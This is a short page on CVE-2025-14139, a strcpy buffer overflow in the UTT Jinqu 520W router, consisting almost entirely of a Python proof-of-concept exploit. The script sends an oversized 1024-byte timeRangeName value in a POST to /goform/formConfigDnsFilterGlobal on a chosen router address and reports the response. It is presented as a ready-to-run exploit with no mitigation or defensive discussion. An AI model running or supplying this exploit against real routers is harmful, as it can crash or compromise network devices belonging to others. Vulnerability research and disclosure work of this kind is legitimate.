CVE-2025-14139 UTT 进取520W路由器 strcpy 缓冲区溢出漏洞

# CVE-2025-14139 PoC - UTT 进取 520W Buffer Overflow # Target: /goform/formConfigDnsFilterGlobal # Vulnerability: strcpy overflow via timeRangeName parameter import requests import sys target_host = "http://192.168.1.1" # Default UTT router IP target_path = "/goform/formConfigDnsFilterGlobal" # Generate payload with oversized timeRangeName (1024 bytes for overflow) payload_size = 1024 overflow_payload = "A" * payload_size def exploit_cve_2025_14139(): """ Exploit for CVE-2025-14139: Buffer overflow in UTT 进取 520W via timeRangeName parameter in /goform/formConfigDnsFilterGlobal """ url = f"{target_host}{target_path}" # Construct the exploit payload data = { "timeRangeName": overflow_payload, "action": "add", "enable": "1" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target_host = sys.argv[1] print("=" * 60) print("CVE-2025-14139 Exploit - UTT 进取 520W Buffer Overflow") print("=" * 60) result = exploit_cve_2025_14139() if result: print("[+] Exploit sent successfully") else: print("[-] Exploit failed")